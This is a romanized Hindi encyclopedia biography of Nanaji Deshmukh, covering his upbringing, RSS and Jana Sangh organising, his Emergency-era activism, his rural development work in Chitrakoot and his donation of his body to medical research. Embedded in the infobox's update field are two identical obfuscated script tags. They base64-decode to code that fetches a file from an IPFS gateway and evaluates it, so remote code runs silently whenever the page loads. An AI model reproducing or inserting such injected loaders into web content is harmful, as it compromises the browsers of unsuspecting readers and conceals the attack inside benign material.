नानाजी देशमुख
nanaji deshamukh
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| poora nam | chandikadas amritarav deshamukh |
| janm | 11 aktoobar, 1916 ee. |
| janm bhoomi | maharashtr |
| mrityu | 27 faravari, 2010 |
| mrityu sthan | chitrakoot, uttar pradesh |
| abhibhavak | amritarav deshamukh, rajabaee |
| nagarikata | bharatiy |
| pad | rashtradharm prakashan ke prabandhak |
| puraskar-upadhi | padmavibhooshan, bharat ratn |
| vishesh yogadan | bharatiy janasangh ke sansthapak |
| samajik sangathanoan ki sthapana | nanaji 'dinadayal shodh sansthan', 'gramoday vishvavidyalay' aur 'bal jagat' jaise samajik sangathanoan ki sthapana ki. |
| any janakari | nanaji deshamukh shiksha, svasthy aur gramin logoan ke bich svavalanban ke lie kie ge karyoan ke lie sadaiv yad kie jate haian. |
| adyatan | 14:48, 15 march 2012 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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chandikadas amritarav deshamukh (aangrezi: Chandikadas Amritrao Deshmukh, janm- 11 aktoobar, 1916 ee., maharashtr; mrityu- 27 faravari, 2010, chitrakoot, uttar pradesh) 'rashtriy svayansevak sangh' ke mazaboot stanbh aur prakhyat samajasevak the. desh ke doosare sarvochch nagarik samman padmavibhooshan se navaje ge nanaji deshamukh shiksha, svasthy aur gramin logoan ke bich svavalanban ke lie kie ge karyoan ke lie sadaiv yad kie jate haian. bharatiy janasangh ke sansthapak rahe nanaji ne 60 sal ki ayu ke bad rajaniti se sannyas le liya tha. apana shesh jivan unhoanne chitrakoot ke gaanvoan ka kalyan karane mean bitaya aur unake vikas ki ek nee gatha likhi. nanaji deshamukh ko maranoparaant desh ka sarvochch puraskar bharat ratn diya gaya.
parichay
nanaji deshamukh ka janm maharashtr rajy ke parabhani zile mean ek chhote se gaanv 'kadoli' mean 11 aktoobar, 1916 ee. ko hua tha. inake pita ka nam shri amritarav deshamukh tatha mata ka nam shrimati rajabaee amritarav deshamukh tha. nanaji ka jivan sadaiv anekoan ghatanaoan se paripoorn raha. unaka adhikatar samay sangharshoan mean hi vyatit hua tha. apani alp ayu mean hi unhoanne apane mata-pita ko kho diya. ye unake mama ji hi the, jinhoanne unhean pala-posa aur b da kiya.
shiksha
nanaji ka bachapan kafi had tak abhavoan mean bita tha. apani skool ki shiksha ke dauran bhi unake pas kitabean adi kharidane ke lie paise nahian hote the, lekin unake andar jnan tatha shiksha prapt karane ki atoot abhilasha vidyaman thi, jise ve har hal mean pana chahate the. ve mandiroan mean bhi rahe aur apani padhaee jari rakhane ke lie sabzi bechakar paise kamae. 'birala ianstityoot', pilani se nanaji ne uchch shiksha prapt ki thi. bad ke dinoan mean tis ke dashak mean ve 'ar.es.es.' mean shamil ho ge.
rajanitik gatividhiyaan
yadyapi nanaji ka janm maharashtr mean hua tha, lekin unaka karyakshetr rajasthan aur uttar pradesh mean hi raha. unaki shraddha dekhakar ar.es.es. ke sangh sanchalak guru ji ne unhean pracharak ke roop mean gorakhapur bhej diya, jahaan ve uttar pradesh ke pracharak niyukt kar diye gaye. nanaji lokamany tilak ke vicharoan se bahut prabhavit the. sangh sansthapak d aauktar hedagevar ne hi unhean sangh se jo da. 1940 mean maharashtr ke saik doan yuvak pracharak bane. inamean nanaji bhi the. unaki tivr buddhi tatha vilakshan sangathan kaushal ne 1950 se 1977 tak bharatiy rajaniti par amit chhap chho di. unhoanne vibhinn vichar aur svabhav vale netaoan ko ek sath lakar kaangres ka sada satta mean bane rahane ka zoradar virodh kiya tha. sangh ke pracharak ke roop mean unhean uttar pradesh mean pahale agara aur phir gorakhapur bheja gaya. un dinoan sangh ki arthik sthiti bahut kharab thi. nanaji ek dharmashala mean rahate the. vahaan har tisare din kamara badalana p data tha. antatah kaangres ke ek neta ne unhean is shart par sthayi kamara dilavaya ki ve usaka khana bana diya kareange. nanaji ke parishram se tin sal mean gorakhapur ke as-pas 250 shakhaean khul gayian. vidyalayoan ki padhaee tatha sanskarahin vatavaran dekhakar unhoanne gorakhapur mean 1950 mean pahala 'sarasvati shishu mandir' sthapit kiya. aj to aise vidyalayoan ki sankhya desh mean 50,000 se bhi adhik hai.[1]
prabandhak ka pad
1947 mean raksha bandhan ke shubh avasar par lakhanoo mean ‘rashtradharm prakashan’ ki sthapana huee, to isake prabandhak nanaji hi banaye ge. vahaan se masik 'rashtradharm', 'saptahik paanchajany' tatha 'dainik svadesh' akhabar nikale gaye. 1948 mean gaandhi ji ki hatya ke bad sangh par pratibandh lag gaya. isase prakashan sankat mean p d gaya. aise mean nanaji ne chhadm namoan se kee patr nikale. 1952 mean janasangh ki sthapana hone par uttar pradesh mean usaka kary nanaji ko sauanpa gaya. 1957 tak pradesh ke sabhi ziloan mean janasangh ka kam pahuanch gaya. 1967 mean uttar pradesh mean chaudhari charanasianh ke netritv mean pahali sanvid sarakar bani. isamean nanaji ki mahattvapoorn bhoomika thi. vinoba bhave ke bhoodan yajn tatha 1974 mean indira gaandhi ke shasan ke viruddh lokanayak jayaprakash narayan ke netritv mean hue andolan mean nanaji khoob sakriy rahe. patana mean jab pulis ne jayaprakash adi par lathiyaan barasayian, to nanaji ne unhean apani baanh par jhel liya. isase unaki baanh toot gayi; par jayaprakash ji bach gaye.
mahamantri
1975 mean kee vipakshi netaoan ko jel huee, kiantu nanaji hath nahian aye. apatakal ke viruddh bani ‘lok sangharsh samiti’ ke ve mantri the. us samay hue deshavyapi satyagrah mean ek lakh se bhi adhik logoan ne giraftari di. yadyapi bad mean nanaji bhi pak de gaye. 1977 ke chunav mean indira gaandhi har gayian aur dilli mean moraraji desaee ke netritv mean janata parti ki sarakar bani. nanaji ne satta ki bajay sangathan ko mahatv dete hue apane badale brajalal varma ko mantri banavaya. is par unhean janata parti ka mahamantri banaya gaya. us samay nanaji satta ya dal mean b de se b da pad le sakate the; lekin unhoanne sakriy rajaniti chho dakar ‘dinadayal shodh sansthan’ ke madhyam se pahale goanda aur phir chitrakoot mean gram vikas ka kary prarambh kiya.[1]
rajaniti se sannyas
nanaji deshamukh ne 60 sal ki umr poori hote hi rajaniti chho d di thi, kyoanki unaka manana tha ki 60 sal ki umr ke bad vyakti ko rajaniti chho d deni chahie. vah rajaniti mean atal bihari vajapeyi, lalkrishna adavani jaise bhajapa ke netaoan se varishth the aur bhajapa ke gathan ke kafi pahale rajaniti ko alavida kah chuke the. nanaji ne apane jivanakal mean 'dinadayal shodh sansthan', 'gramoday vishvavidyalay' aur 'bal jagat' jaise samajik sangathanoan ki sthapana ki. unhoanne uttar pradesh ke goanda zile mean bhi ullekhaniy samajik kary kiya tha. unhean 1999 mean 'padm vibhooshan' se sammanit kiya gaya aur isi sal rajyasabha ke lie namaankit kiya gaya. ve balaramapur se lokasabha ke liye bhi chune gaye the. chitrakoot sthit 'dinadayal shodh sansthan' mean padhare poorv rashtrapati e.pi.je. abdul kalam ne nanaji deshamukh dvara kamazor varg ke utthan mean uthae ge qadamoan ki sarahana ki thi aur is kshetr mean unaki upalabdhiyoan ko anukaraniy bataya tha.[2]
vivad ka ghera
halaanki rajaniti se alag hone ke bad bhi nanaji nirvivad nahian rahe. nanaji us vakt vivad ke ghere mean a ge, jab 1984 mean unhoanne kaha tha ki 'ab samay a gaya hai ki sangh rajiv gaandhi ke sath kh da rahe.' isake bad jab kendr mean atal bihari vajapeyi ki sarakar bani, tab bhi kee mauke aise aye, jab ve kendr sarakar ke khilaf kh de najar aye. nadi jo dane ke rajag sarakar ke mahatvakaankshi pariyojana ko nanaji ke hastakshep ke karan hi thande baste mean dalana p da tha.
nidhan evan deh dan
apane rajyasabha ke saansad kal mean mili saansad nidhi ka upayog unhoanne in prakalpoan ke lie hi kiya. karmayogi nanaji ne 27 faravari, 2010 ko apani karmabhoomi chitrakoot mean aantim saans li. unhoanne deh dan ka sankalp patr bahut pahale hi bhar diya tha. atah dehaant ke bad unaka sharir ayurvijnan sansthan ko dan de diya.
'dadhichi deh dan samiti' ke adhyaksh alok kumar ke anusar- 'nanaji ne sanh 1997 mean ichchha jataee thi ki unaki mrityu ke pashchath unaki deh ka upayog chikitsa shodh kary ke lie kiya jae. unaki ichchha par vichar karate 11 aktoobar, 1997 ko dehadan ki ek vasiyat taiyar ki gee, jis par unhoanne sakshi ke roop mean shrimati kumud sianh tatha hemant pande ki upasthiti mean hastakshar kie the. donoan ko nanaji apana putr v putri manate the. alok kumar ne bataya ki unake har aang ka deshahit mean upayog ho, yahi unaki aantim ichchha thi. kumar ne kaha ki hamane yah nishchit kiya tha ki mrityu ke pashchath nanaji ki deh ko dilli sthit 'akhil bharatiy ayurvijnan sansthan' mean shodh kary ke lie diya jaega. unhoanne bhavavihval hokar bataya ki nanaji pravas par rahate the. aise mean mrityu hone par unaki parthiv deh dilli lane mean koee vyavadhan n ho, is hetu nanaji ne dadhichi dehadan samiti ko 11,000 rupe die, unaka kahana tha ki maian hamesha pravas par rahata hooan, isalie meri mrityu kahian bhi ho sakati hai. yah rupe meri deh ko kahian se bhi dilli pahuanchane ki vyavastha ke lie haian. nanaji ki ichchha ke anusar unaki deh ko 'akhil bharatiy ayurvijnan sansthan' mean shodh kary ke lie de diya gaya, jahaan chikitsak unaki deh par shodh kar sakate the.[3]
prerana srot
dilli ki 'dadhichi dehadan samiti' ko apane dehadan sambandhi shapath patr par hastakshar karate hue nanaji ne kaha tha- "maianne jivan bhar sangh shakha mean prarthana mean bola hai 'pattavesh kayo namaste namaste.' atah mrityu ke bad bhi yah sharir samaj ke lie upayog mean ana uchit hai. is prakar unhoanne mrityu ke uparant apana deh chikitsa shastr padhane vale yuvakoan ke adhyayan ke lie samarpit kar diya. asankhy log nana ji ke jivan se prerana lete rahe haian aur bhavishy mean bhi lete raheange.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 adhunik chanaky:nanaji deshamukh (hindi). . abhigaman tithi: 04 march, 2012.
- ↑ nanaji deshamukh (hindi) (ech.ti.em.el.). . abhigaman tithi: 04 march, 2012.
- ↑ sisodiya, tarun. sarvasv dani nanaji deshamukh ka mahaprayan (hindi) (ech.ti.em.el.). . abhigaman tithi: 04 march, 2012.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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